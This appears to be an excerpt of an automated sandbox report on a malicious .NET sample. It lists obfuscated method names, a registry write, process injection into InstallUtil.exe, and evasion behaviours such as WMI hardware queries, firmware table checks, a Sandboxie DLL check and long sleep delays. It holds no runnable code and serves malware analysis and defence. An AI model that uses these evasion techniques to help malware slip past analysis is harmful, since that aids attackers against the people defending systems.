Source: 0.2.2ngxhElaud.exe.1432d353198.8.raw.unpack, IbZQ6dnNt4C9LCgb1ql.cs	High entropy of concatenated method names: 'clXn75C17m', 'KAObkSl4UF3RO0RJcS0', 'XwHtGnlcC0gCJGn0WHy', 'pZOYohljEcPOSDSCNbW', 'LhyRG2lrx2D4trlabiV', 'fMwsJWlDH7IBXK610Xr', 'II24Pmlzy1rZWIFnP6w', 'LKDKByKh2EZdvj9HvsZ', 'B7NYuglg3ElZuF7UJ9O', 'VrvHG8l8nUeFYmTtTOy'
Source: 0.2.2ngxhElaud.exe.1432d353198.8.raw.unpack, HrIcttsnEN6PPriWKQm.cs	High entropy of concatenated method names: 'LnlsRNYges', 'P6fsOmgb8k', 'BiOs28R9hU', 'IKVsQu3ZXn', 'k2EsBwATdo', 'EwHs1eMHuJ', 'fnWsVNw2m2', 'NKasbIHdvC', 'IF7sISYGaU', 'lXUsLv6ZuP'
Source: 0.2.2ngxhElaud.exe.1432d353198.8.raw.unpack, kJZuA1vafcf3CU1gh2G.cs	High entropy of concatenated method names: 'hyCG2Woo3IUnUuHF4YR', 'vkumIwoaqqCO9OEZBCc', 'fgqkk3MoMi', 'SGK4IhoHNWGJZRPlE9n', 'a91PhEoCqCj5hRGQQMS', 'Og8j3DoP7ClhS1YREHQ', 'blyqWPo5oGohJI4oi8Y', 'UHAElXoyiokPvyl1bK9', 'JVaJ4ZoJqGXp7CRHj4V', 'YRPOYmoeNCkaxVCGgAn'
Source: 0.2.2ngxhElaud.exe.1432d353198.8.raw.unpack, momkyEvBbf3GL2pMYAL.cs	High entropy of concatenated method names: 'WdevV51vwh', 'gGqvbAfLOQ', 'M6C1pjU4RKYLjocfR14', 'SKKNcRUcQJWcUutsaGr', 'JPn8y7UjNLvg9TFe7WN', 'sr3RdFUgUeXxHea2Ykd', 'eO78NkU8cpDUywPH7YX', 'CB0I1uUr5I1CUQMxJGp', 'vNMn1IUD2EEmeNrmuhT', 'yAs3qEUz135vaHLBD26'
Source: 0.2.2ngxhElaud.exe.1432d353198.8.raw.unpack, cKTr3JvSJcITEMhgJQi.cs	High entropy of concatenated method names: 'BmOvwIBhax', 'S9xv7lsFJT', 'SXqv95q7GkAuadJf03H', 'd6HsNFq0ACSSKn5m6Uw', 'ScvofWqmwZOYYEH0w85', 'kId70ZqN2IOIAfOMuB7', 'kkY8fdqw4cJ8VNaqZm5', 'tXNMN1q6JRRxZyCDQ4h', 'qv6ZXxqWhLC2DjYThnh'
Source: 0.2.2ngxhElaud.exe.1432d353198.8.raw.unpack, rbdRTjkF9cFc2JyCZdj.cs	High entropy of concatenated method names: 'g6qku8BjBM', 'QXTkYC3D5W', 'FW6k3bWjBw', 'nk6kgUpE8I', 'reMk8D1qTA', 'PTLk4HRHtx', 'zVgkc1xgY7', 'QZxkjBgCVN', 'GQPkrJdxnH', 'fAhkDVZtav'
Source: 0.2.2ngxhElaud.exe.1432d353198.8.raw.unpack, WPbwxdswOtjKLq5yBCF.cs	High entropy of concatenated method names: 'RtlInitUnicodeString', 'LdrLoadDll', 'RtlZeroMemory', 'NtQueryInformationProcess', 'agBs0yjy6H', 'NtProtectVirtualMemory', 'Mx3DkyWCUtOkxL0mkbu', 'xFy3X5WMg5Lu6aaOXgQ', 'S9WLjfWHFh9lLdvFcPW', 'F2fj2WWPfqQOgAlae0x'
Source: 0.2.2ngxhElaud.exe.1432d353198.8.raw.unpack, Cb64ljnUrgH6VoWiT4o.cs	High entropy of concatenated method names: 'TLPnowPdrx', 'gqinaEIof6', 'PVhUZeKpGuvagXYV24D', 'Y0VBHBK20wfbZIhFVka', 'fGuVSMKtgVfZgTVAYS0', 't9bBTLKQpmBaoTBuTpy', 'QiQuFsKBD7SFsVTNoWr', 'Li6NaKK1EOnMYpIpXVK', 'V2Fo3KKV6oRAAci6veu', 'JTm2HnKbxY9iQTEUJMK'
Source: 0.2.2ngxhElaud.exe.1432d353198.8.raw.unpack, sKiESCxNDcQUqT2h7Ke.cs	High entropy of concatenated method names: 'k82x7IVmfY', 'bxWvwg0FuA0FpdaWZNN', 'RJNJM60T13cS1eSYCa1', 'kpPVAd0MgBn8VB0creZ', 'aVLgyX0HyCuPCLhbtc8', 'HLXsET0CBNpcwCME9AF', 'yWwLRQ0PErp92FPuMni', 'b3IfEx05qDGTb4lfXGY', 'IAyahL0y5wMOVpeu2CB', 'I2IWKA0JQ6vXTNwQIVS'

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe

Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\3b64fb9862ddb7761810978aba6d399e 46CA954A242393AFA5371FD73A9FB577

Jump to behavior

Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive

Query firmware table information (likely to detect VMs)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: 2ngxhElaud.exe, 00000000.00000002.1816376594.000001431D021000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\2ngxhElaud.exe	Memory allocated: 1431B710000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Memory allocated: 14334FE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Memory allocated: 24642920000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Memory allocated: 2465C430000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1200000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1198969	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1197899	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 3629			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 6121			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe TID: 3940	Thread sleep time: -28592453314249787s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe TID: 3940	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe TID: 3940	Thread sleep time: -59844s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe TID: 3940	Thread sleep time: -59703s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe TID: 3940	Thread sleep time: -59593s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe TID: 3940	Thread sleep time: -59484s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe TID: 3940	Thread sleep time: -59374s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe TID: 3940	Thread sleep time: -59265s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe TID: 3940	Thread sleep time: -59156s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe TID: 3844	Thread sleep time: -540000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe TID: 3940	Thread sleep time: -1200000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe TID: 3940	Thread sleep time: -59888s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe TID: 3940	Thread sleep time: -179343s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe TID: 3940	Thread sleep time: -179016s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe TID: 3940	Thread sleep time: -119124s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe TID: 3940	Thread sleep time: -59443s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe TID: 3940	Thread sleep time: -59328s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe TID: 3940	Thread sleep time: -59219s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe TID: 3940	Thread sleep time: -59109s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe TID: 3940	Thread sleep time: -1198969s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe TID: 3940	Thread sleep time: -59891s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe TID: 3940	Thread sleep time: -59563s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe TID: 3940	Thread sleep time: -59438s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe TID: 3940	Thread sleep time: -59313s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe TID: 3940	Thread sleep time: -59202s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe TID: 3940	Thread sleep time: -59094s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe TID: 3940	Thread sleep time: -1197899s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe TID: 3940	Thread sleep time: -59880s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe TID: 3940	Thread sleep time: -59757s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe TID: 3940	Thread sleep time: -59645s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe TID: 3940	Thread sleep time: -59523s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe TID: 3940	Thread sleep time: -59398s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe TID: 3940	Thread sleep time: -59289s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe TID: 3940	Thread sleep time: -59179s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe TID: 3940	Thread sleep time: -59890s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe TID: 3940	Thread sleep time: -59453s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe TID: 3940	Thread sleep time: -59344s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe TID: 3940	Thread sleep time: -59233s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
